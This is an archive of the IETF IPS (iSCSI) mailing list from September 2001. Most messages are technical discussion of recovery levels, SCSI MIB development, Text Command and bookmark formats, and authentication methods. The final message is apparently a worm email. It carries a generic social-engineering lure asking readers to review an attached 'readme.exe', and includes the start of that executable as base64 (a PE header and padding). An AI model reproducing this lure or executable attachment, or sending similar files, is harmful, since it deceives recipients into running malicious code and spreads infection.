Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/03/2001 06:59:38 AM Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: iSCSI - Recovery Levels There seems to be consensus around the fact the recovery leves are good and no clear consensus about hpow many should there be (2 or 3). As there is no chance to settle this until 08 gets out I suggest intrdocucing a generic key=value pair (RecoveryLevel) and remove the existing keys (CommmandFailoverSupport and CommandReplaySupport). RecoveryLevel will be defined as follows: 01 RecoveryLevel Use: LO Who can send: Initiator and Target RecoveryLevel=<0 to x> Default is 0. Initiator and target negotiate the recovery level supported. The minimum of the two values is selected. Recovery levels represent a combination of recovery capabilities. Each recovery level includes all the capabilities of the lower recovery levels and adds to them some new ones. In the recovery mechanisms descriptions some specific recovery capabilities are used. Those are mapped to levels as follows: 0 - SessionRecovery 1 - CommandFailoverSupport and CommandReplaySupport [TBD] Comments? Julo From owner-ips@ece.cmu.edu Tue Sep 4 02:14:58 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA04309 for ; Tue, 4 Sep 2001 02:14:58 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8450Q203501 for ips-outgoing; Tue, 4 Sep 2001 01:00:26 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from ihemail1.firewall.lucent.com (ihemail1.lucent.com [192.11.222.161]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8450PP03497 for ; Tue, 4 Sep 2001 01:00:25 -0400 (EDT) Received: from nc8220exchange.ral.lucent.com (h135-92-100-21.lucent.com [135.92.100.21]) by ihemail1.firewall.lucent.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f8450JN27769 for ; Tue, 4 Sep 2001 01:00:19 -0400 (EDT) Content-Class: urn:content-classes:message Subject: Please send presentations from interim meeting MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Date: Tue, 4 Sep 2001 01:00:11 -0400 X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 Message-ID: <9410A0F67DFE7F4D998D453823649836043685@nc8220exchange.ral.lucent.com> Thread-Topic: Please send presentations from interim meeting Thread-Index: AcE0/fxALF4FKgf2QrqA8Cr6WrV/jg== From: "Elizabeth Rodriguez" To: "IPS Mailing List (E-mail)" Cc: "David Black (E-mail)" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f8450PP03498 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit Hello all, I am trying to collect all the presentations made at the interim meeting, so that they can be made available to the WG. I have received some of those presentations, but for those who have not sent them yet, please send the slides and/or a pointer to the slides to me as quickly as possible. Thanks, Elizabeth From owner-ips@ece.cmu.edu Tue Sep 4 02:15:44 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA04321 for ; Tue, 4 Sep 2001 02:15:44 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f844g2R02720 for ips-outgoing; Tue, 4 Sep 2001 00:42:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from ihemail2.firewall.lucent.com (ihemail2.lucent.com [192.11.222.163]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f844g1P02715 for ; Tue, 4 Sep 2001 00:42:01 -0400 (EDT) Received: from nc8220exchange.ral.lucent.com (h135-92-100-21.lucent.com [135.92.100.21]) by ihemail2.firewall.lucent.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f844fxv23631 for ; Tue, 4 Sep 2001 00:41:59 -0400 (EDT) Content-Class: urn:content-classes:message Subject: SCSI MIB design team formation MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Date: Tue, 4 Sep 2001 00:41:58 -0400 X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 Message-ID: <9410A0F67DFE7F4D998D45382364983610156A@nc8220exchange.ral.lucent.com> Thread-Topic: iSCSI: state of a SCSI MIB (was RE: ISCSI: A propos MIB and specially iSCSI MIB) Thread-Index: AcEw2c2ywDbg5JAJRImFhmMNRxeHLgEGDFJQ From: "Elizabeth Rodriguez" To: Cc: "David Black (E-mail)" , "Keith McCloghrie (E-mail)" , , Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f844g1P02716 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit Hello all, I believe that the IPS WG is now prepared to undertake the effort of development of a SCSI MIB. As mentioned below by Marjorie, while the iSCSI MIB design team is willing to contribute to this development, the effort needs to be undertaken by a different group of people. T10 CAP is also willing to contribute, but the T10 organization will not undertake the MIB development itself. That will be a draft undertaken by the IPS working group. We now have 2 individuals who are willing to undertake the SCSI MIB development. The first is Sanjeev Bhagat, of Tripace. The second is Ron Roberts, of Adaptec. Both are experienced in both SCSI and MIB work, and are willing to undertake this effort. Keith McCloghrie will assist this group in his capacity as MIB advisor. Anyone else who is willing to contribute to this effort should contact David or myself, by Sept 10. Thanks, Elizabeth Rodriguez & David Black -----Original Message----- From: KRUEGER,MARJORIE (HP-Roseville,ex1) [mailto:marjorie_krueger@hp.com] Sent: Wednesday, August 29, 2001 4:49 PM To: 'Michele Hallak - Stamler'; mbakke@cisco.com Cc: ips@ece.cmu.edu Subject: iSCSI: state of a SCSI MIB (was RE: ISCSI: A propos MIB and specially iSCSI MIB) Regarding your question on the state of a SCSI MIB, we are looking for a MIB designer that is SCSI aware to head this effort, as Mark and I have too many other committments. The iSCSI MIB design team will contribute to the basis for a SCSI MIB, but we are still looking for a leader in the SCSI MIB effort. We have taken this issue to the T10 CAP group to solicite help, but the MIB must ultimately be submitted as an IETF draft. Hopefully, this effort will take shape soon. Marjorie Krueger Networked Storage Architecture Networked Storage Solutions Org. Hewlett-Packard tel: +1 916 785 2656 fax: +1 916 785 0391 email: marjorie_krueger@hp.com > -----Original Message----- > From: Michele Hallak - Stamler [mailto:michele@sanrad.com] > Sent: Tuesday, August 28, 2001 9:20 AM > To: mbakke@cisco.com > Cc: ips@ece.cmu.edu > Subject: RE: ISCSI: A propos MIB and specially iSCSI MIB > > > Mark, > Thanks a lot for your prompt answer... > My comments are prefixed by MHS. > Thanks again, > Michele > > > -----Original Message----- > > From: Mark Bakke [mailto:mbakke@cisco.com] > > Sent: Monday, August 27, 2001 3:47 PM > > To: Michele Hallak - Stamler > > Cc: ips@ece.cmu.edu > > Subject: Re: ISCSI: A propos MIB and specially iSCSI MIB > > > > > > Michele- > > > > Thanks for the comments. My comments are below. > > > > -- > > Mark > > > > Michele Hallak - Stamler wrote: > > > > > > Since you are meeting at interim meetings on MIBs: > > > > > > The following mail summarizes my suggestions concerning the > > improvement > > > of iSCSI MIB: > > > > > > 1. New Textual Convention: > > > AuthenticationMethodTC ::= TEXTUAL-CONVENTION > > > STATUS current > > > DESCRIPTION > > > "List of possible authentication methods." > > > SYNTAX INTEGER { > > > none(1), > > > crc32(2), > > > crc64(3), > > > md5(4), > > > kerberosMd5(5), > > > kerberosMd5des(6), > > > kerberosMd5desHmark(7) > > > } > > > > This is a text field in the current MIB; it will change to > > an OID field in the next version, which acts a little like > > your enumerated types, but is extensible without modifying > > the MIB. BTW, this is a set of two attributes called DataDigest > > and HeaderDigest; AuthMethod is something completely different. > > All of the digest methods will be removed from draft-08 with > > the exception of "none" and "crc-32c". With the new OID scheme; > > values for these can be added to your enterprise MIB if you > > choose to implement them. > > > [MHS] If it will be OIDs, it's fine with me. I was > inconfortable with simple strings. > > > > > > 2. Add RowStatus and Read-Write Access to the portals and to the > > > authorized list of initiators. > > > > Which attributes to write and which rows to delete are currently > > under consideration. We are looking for detailed input on this. > > > > Please send the list of attributes you wish to write, and why > > you wish to write them. > [MHS] Mainly, we would like to add the type of access for each > initiator: read-only or read-write. > > > > 3. Add RowStatus to iscsiTargetAttributesTable in order > to allow an > > > administrator to create target and > > > set the access of the fields: iscsiTgtName and > iscsiTgtAlias as > > > read-create > > > > It's not possible to create an iSCSI target without first creating > > a SCSI target. I don't think we will be ready to explore this until > > we have made progress on a SCSI MIB. If you have some ideas on how > > a management station would make use of this (with both > MIBs) to create > > new targets, please send them. > > > [MHS] After having made some clarifications, I understand what > you mean now. > What is the status of the SCSI MIB? Is there any work done on > the matter? > And at which organization? > For our management we need the ability to create targets. What > is your suggestion? > (Apart of private MIB) > I think that anyway we can allow to create targets via iSCSI > MIB; it is MAX-ACCESS and it > will be the responsibility of the implementation to update SCSI > modules about new targets. > Your opinion? > > > > > I hope that you'll aggree to make the change, > > > > > > Michele > > > > -- > > Mark A. Bakke > > Cisco Systems > > mbakke@cisco.com > > 763.398.1054 > [MHS] > Again Thanks a lot, > > Michele Hallak-Stamler > Sanrad Intelligent Storage > michele@sanrad.com > 972-3-7674809 > From owner-ips@ece.cmu.edu Tue Sep 4 02:21:59 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA04360 for ; Tue, 4 Sep 2001 02:21:58 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f844gDx02733 for ips-outgoing; Tue, 4 Sep 2001 00:42:13 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from hoemail2.firewall.lucent.com (hoemail2.lucent.com [192.11.226.163]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f844gCP02728 for ; Tue, 4 Sep 2001 00:42:12 -0400 (EDT) Received: from nc8220exchange.ral.lucent.com (h135-92-100-21.lucent.com [135.92.100.21]) by hoemail2.firewall.lucent.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f844gAd28976 for ; Tue, 4 Sep 2001 00:42:11 -0400 (EDT) Content-Class: urn:content-classes:message Subject: IPS ALL: MIB presentation MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Date: Tue, 4 Sep 2001 00:42:10 -0400 X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 Message-ID: <9410A0F67DFE7F4D998D45382364983610156F@nc8220exchange.ral.lucent.com> Thread-Topic: Interim meeting MIB working session Thread-Index: AcEw5IExtMWaPmc9Rw+O1xDQc0jgeQEFLWkQ From: "Elizabeth Rodriguez" To: "IPS Mailing List (E-mail)" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f844gCP02730 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit Hello all, Keith McCloghrie made a presentation last Monday evening on MIB development. This was a presentation not on content of the IPS MIBs, but more on advice on how MIBs should be developed in general -- e.g. do's and don'ts; gotchas, etc. That presentation is currently available at ftp://ftpeng.cisco.com/ftp/kzm/pub/ips-mtg.ppt I am working on making this available on the IPS web site as well. Thanks, Elizabeth From owner-ips@ece.cmu.edu Tue Sep 4 06:39:56 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA07054 for ; Tue, 4 Sep 2001 06:39:56 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f849Mmh14075 for ips-outgoing; Tue, 4 Sep 2001 05:22:48 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f849McP14061 for ; Tue, 4 Sep 2001 05:22:39 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id LAA59600 for ; Tue, 4 Sep 2001 11:22:23 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f849MJb186398 for ; Tue, 4 Sep 2001 11:22:19 +0200 Importance: Normal Subject: iSCSI - bookmarks change To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Tue, 4 Sep 2001 12:19:20 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.6 |December 14, 2000) at 04/09/2001 12:22:19 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Now that text commands are out of login (and we don't have to care too much about the immediate version) we can rationalize the bookmarks. Here is my suggestion for the new text request/response: 1.1 Text Command The Text Command is provided to allow the exchange of information and for future extensions. It permits the initiator to inform a target of its capabilities or to request some special operations. A connection SHOULD have only one outstanding text command at any given time. Byte / 0 | 1 | 2 | 3 | / | | | | |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| +---------------+---------------+---------------+---------------+ 0|X|I| 0x04 |F|B| Rsvd | Reserved | +---------------+---------------+---------------+---------------+ 4| Reserved | DataSegmentLength | +---------------+---------------+---------------+---------------+ 8| Reserved | + + 12| | +---------------+---------------+---------------+---------------+ 16| Initiator Task Tag | +---------------+---------------+---------------+---------------+ 20| Reserved | +---------------+---------------+---------------+---------------+ 24| CmdSN | +---------------+---------------+---------------+---------------+ 28| ExpStatSN | +---------------+---------------+---------------+---------------+ 32/ Reserved / +/ / +---------------+---------------+---------------+---------------+ 48| Digests if any... | +---------------+---------------+---------------+---------------+ / DataSegment (Text) / +/ / +---------------+---------------+---------------+---------------+ 1.1.1 F (Final) Bit When set to 1 it indicates that this is the last or only text command in a sequence of commands; otherwise it indicates that more commands will follow. 1.1.2 I - Immediate During the Login Phase (the current stage part of CNxSG is either SecurityNegotiation or LoginOperationalNegotiation), the Text command SHOULD be issued as an immediate command (I=1). 1.1.3 B - bookmark bit The bookmark bit set to 1 tells the target to continue from its last bookmark for the specific Initiator Task Tag and thus allows a target to transfer a large amount of textual data over a sequence of text-command/text-response exchanges. The bookmark bit set to 0 tells the target that this is a new Text request; the target should reset any bookmark it holds on the specific Initiator Task Tag. A target MAY reject an old Bookmark. Bookmark generation at target is detailed in 2.11.2. Long text responses are handled as in the following example: I->T Text SendTargets=all (F=1,B=0) T->I Text (F=0,B=1) I->T Text (F=1,B=1) T->I Text (F=0,B=1) I->T Text (F=1,B=1) ... T->I Text (F=1,B=0) 1.1.4 Initiator Task Tag The initiator assigned identifier for this Text Command. If the command is sent as part of a sequence of commands (e.g., the Login Phase or a sequence of Text commands) the Initiator Task Tag MUST be the same for all the commands within the sequence (similar to linked SCSI commands). 1.1.5 Text The initiator sends the target a set of key=value or key=list pairs encoded in UTF-8 Unicode. All the text keys and text values specified in this document are to be presented and interpreted in the case they appear in this document (they are case sensitive). The key and value are separated by a '=' (0x3d) delimiter. Every key=value pair (including the last or only pair) MUST be followed by null (0x00) delimiter. A list is a set of values separated by comma (0x2c). Large binary items can be encoded using their hexadecimal representation (e.g., 8190 is 0x1ffe) or decimal representation. The maximum length of an individual value (not its string representation) is 255 bytes. The data lengths of a text command or response MUST NOT exceed 4096 bytes. Key names MUST NOT exceed 63 bytes. Key values MUST NOT exceed 255 bytes. Character strings are represented as plain text. Numeric and binary values are represented using either decimal numbers or the hexadecimal 0xffff notation. Upper and lower case letters may be used interchangeably in hexadecimal notation (i.e., 0x1aBc, 0x1AbC and 0x1ABC are equivalent). The target responds by sending its response back to the initiator. The response text format is similar to the request text format. Some basic key=value pairs are described in Appendix A and Appendix D. All keys in Appendix D, except for the X- extension format, MUST be supported by iSCSI initiators and targets. Keys in Appendix A MUST be supported only when the function they refer to is mandatory to implement. Manufacturers may introduce new keys by prefixing them with X- followed by their (reversed) domain name, for example the company owning the domain acme.com can issue: X-com.acme.bar.foo.do_something=0000000000000003 Any other key not understood by the target may be ignored by the target without affecting basic function. However the Text Response for a key that was not understood MUST be key=NotUnderstood. Text operations are usually meant for parameter setting/negotiations but can be used also to perform some long lasting operations. Text operations that will take a long time should be placed in their own Text command. 1.2 Text Response The Text Response PDU contains the target's responses to the initiator's Text Command. The format of the Text field matches that of the Text Command. Byte / 0 | 1 | 2 | 3 | / | | | | |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| +---------------+---------------+---------------+---------------+ 0|1|1| 0x24 |F|B| Rsvd | Reserved | +---------------+---------------+---------------+---------------+ 4| Reserved | DataSegmentLength | +---------------+---------------+---------------+---------------+ 8| Reserved | + + 12| | +---------------+---------------+---------------+---------------+ 16| Initiator Task Tag | +---------------+---------------+---------------+---------------+ 20| Reserved | +---------------+---------------+---------------+---------------+ 24| StatSN | +---------------+---------------+---------------+---------------+ 28| ExpCmdSN | +---------------+---------------+---------------+---------------+ 32| MaxCmdSN | +---------------+---------------+---------------+---------------+ 36/ Reserved / +/ / +---------------+---------------+---------------+---------------+ 48| Digests if any... | +---------------+---------------+---------------+---------------+ / DataSegment (Text) / +/ / +---------------+---------------+---------------+---------------+ 1.2.1 F (Final) Bit When set to 1 in response to a text command with the Final bit set to 1 the F bit indicates that the target has finished the current stage of the operation or the whole operation. Otherwise if set to 0 in response to a text command with the Final Bit set to 1 it indicates that the target has more work to do (invites a follow-on text command). A text response with the F bit set to 1 in response to a text command with the F bit set to 0 is a protocol error. A text response with a F bit set to 1 MUST NOT contain key=value pairs that may require additional answers from the initiator. 1.2.2 B - bookmark Bit Whenever a target can't transfer all the remaining text data in a single Text response, it attempts to set an internal bookmark. If successful, the target associates the bookmark with the Initiator Task Tag. The target indicates that it holds a bookmark for the specific Initiator Task Tag by setting the bookmark (B) bit to 1 in the Text response. The target resets the internal bookmark associated with a given Initiator Task Tag if it receives a Text request with the specified Initiator Task Tag with the bookmark bit set to 0. When a target can't transfer all the text data in a single text response and it cannot set an internal bookmark it rejects the Text request with an appropriate Reject code. A target may reset its internal bookmark(s) after some time in order to reclaim resources associated with the bookmark and reject subsequent Text requests with the bookmark bit set to 1. When all the text data fit in a single Text response the bookmark bit of the response is set to 0 and the bookmark associated with the Initiator Task Tag is reset. 1.2.3 Initiator Task Tag The Initiator Task Tag matches the tag used in the initial Text Command or the Login Initiator Task Tag. 1.2.4 Text Response Data The Text Response Data Segment contains responses in the same key=value format as the Text Command and with the same length and coding constraints. Appendix A and Appendix D lists some basic Text Commands and their Responses. Although the initiator is the requesting party and controls the request-response initiation and termination the target can offer key=value pairs of its own as part of a sequence and not only in response to an identical key=value pair offered by the initiator. A Key=value pair must be confined to a given text response even in the presence of bookmark - i.e., it must start and end within one Text Response. The Reject Reasons table looks like: 1.1.1 Reason The reject Reason is coded as follows: +------+-----------------------------------------+------------------+ | Code | Explanation | Can the original | | (hex)| | PDU be re-sent? | +------+-----------------------------------------+------------------+ | 0x01 | Format Error | no | | | | | | 0x02 | Data (payload) Digest Error | yes (Note 1) | | | | | | 0x03 | Data-SNACK Reject | yes | | | | | | 0x04 | Protocol Error (e.g., SNACK request for | no | | | a status that was already acknowledged) | | | | | | | 0x05 | Command not supported in this session | no | | | type | | | | | | | 0x06 | Immediate Command Reject - too many | yes | | | immediate commands | | | | | | | 0x07 | Bookmark Reject - No bookmark for this | no | | | Initiator Task Tag | | | | | | | 0x08 | Bookmark Reject - Can't generate | yes | | | bookmark - out of resources | | | | | | | 0x0f | Full Feature Phase Command before login | no | +------+-----------------------------------------+------------------+ Comments? Julo From owner-ips@ece.cmu.edu Tue Sep 4 06:43:03 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA07101 for ; Tue, 4 Sep 2001 06:43:03 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f849Mgr14069 for ips-outgoing; Tue, 4 Sep 2001 05:22:42 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f849MbP14060 for ; Tue, 4 Sep 2001 05:22:37 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id LAA63544 for ; Tue, 4 Sep 2001 11:22:20 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f849MHb186396 for ; Tue, 4 Sep 2001 11:22:17 +0200 Importance: Normal Subject: Re: iSCSI: Public Key Method To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Tue, 4 Sep 2001 08:19:12 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.6 |December 14, 2000) at 04/09/2001 12:22:18 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Josh, Public keys are great and all you said is correct. It would be wrong however to omit that the biggest issue with public keys is certificate revocation and the cost to check for revocation. If one goes for an all public infrastructure with general purpose CAs the cost of checking for revocation can be daunting and if you go for private domains many of the advantages you mentioned are lost. That was the reason behind our original recommendation for SRP as the "base" authentication method and not SPK. Julo Joshua Tseng @ece.cmu.edu on 01-09-2001 05:21:11 Please respond to Joshua Tseng Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: iSCSI: Public Key Method This message is in response to the action item David Black gave me at the Interim meeting to investigate the need for a Public Key Method for iSCSI. My recommendation is that if we include the Kerberos method in iSCSI, then we should also include at least one Public Key Method as well. I don't see any problem with using SPKM-1 and SPKM-2. The only difference between them is that SPKM-2 includes a timestamp. Although Kerberos has been in use for a longer period of time, public key offers significant scaling advantages. It is also widely recognized as the next-generation key distribution method, and I believe iSCSI should not leave it out. Some of the key advantages of public key: 1) Key distribution does not require a secure communication channel between the communicating principals and the key distribution authority. Public keys can be distributed in the clear. On the other hand, Kerberos requires an additional set of security associations between the Kerberos server and every principal, or manual distribution and configuration of keys, which can be an administrative nightmare. 2) In Public Key, there is no single point of failure as there is with a Kerberos Server. If the Kerberos Server is wiped out in a DOS attack, no one can access its keys, and no one can talk securely. Also, if the contents of the Kerberos Server is compromised, anyone can be impersonated. On the other hand, if the CA is wiped out, holders of public keys can still continue to function. Furthermore, CA's can be distributed, making them resilient to attacks. 3) In Public Key, there is no single physical location or device in the network that can be considered a performance bottleneck. This is another reason why Public Key is far more scalable than Kerberos. 4) Of all the iSCSI authentication methods in the current draft (KRB5, SRP, CHAP), SPKM-1 and SPKM-2 require the least amount of manual administration. Given the above, it makes sense to me that if we include Kerberos, then we ought to also include Public Key. We may not need both SPKM-1 and SPKM-2, but I think we should include at least one of them. I believe the current text in the iSCSI document is fine (good job Ofer!). Josh From owner-ips@ece.cmu.edu Tue Sep 4 09:38:20 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA15540 for ; Tue, 4 Sep 2001 09:38:19 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f84C4ZW04132 for ips-outgoing; Tue, 4 Sep 2001 08:04:35 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from intens2.pdcint ([194.90.167.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f84C4IP04113 for ; Tue, 4 Sep 2001 08:04:19 -0400 (EDT) Received: by INTENS2 with Internet Mail Service (5.5.2650.21) id ; Tue, 4 Sep 2001 15:05:42 +0200 Message-ID: <8B578C8302B3D411811200D0B7B64CD1099D86@INTENS2> From: Rafi Shalom To: "'ips@ece.cmu.edu'" Subject: As per your request! Date: Tue, 4 Sep 2001 15:05:40 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C13542.4C549F94" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C13542.4C549F94 Content-Type: text/plain Please find attached file for your review. I look forward to hear from you again very soon. Thank you. ------_=_NextPart_000_01C13542.4C549F94 Content-Type: application/octet-stream; name="readme.exe" Content-Disposition: attachment; filename="readme.exe" Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAuAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAACPivnby+uXiMvrl4jL65eISPeZiMrrl4ii9J6IyuuXiCL0mojK65eIUmlj aMvrl4gAAAAAAAAAAFBFAABMAQMAbfyAOwAAAAAAAAAA4AAPAQsBBgAAMAAAACAAAAAAAACcEgAA ABAAAABAAAAAAEAAABAAAAAQAAAEAAAAAQAAAAQAAAAAAAAAAGAAAAAQAAD0JgEAAgAAAAAAEAAA EAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA5DYAACgAAAAAUAAAyAgAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAgAAIAAA AAAQAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAADYKwAAABAAAAAwAAAAEAAA AAAAAAAAAAAAAAAAIAAAYC5kYXRhAAAA7AkAAABAAAAAEAAAAEAAAAAAAAAAAAAAAAAAAEAAAMAu cnNyYwAAAMgIAAAAUAAAABAAAABQAAAAAAAAAAAAAAAAAABAAABAw20vORAAAAAAAAAAAAAAAE1T VkJWTTYwLkRMTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 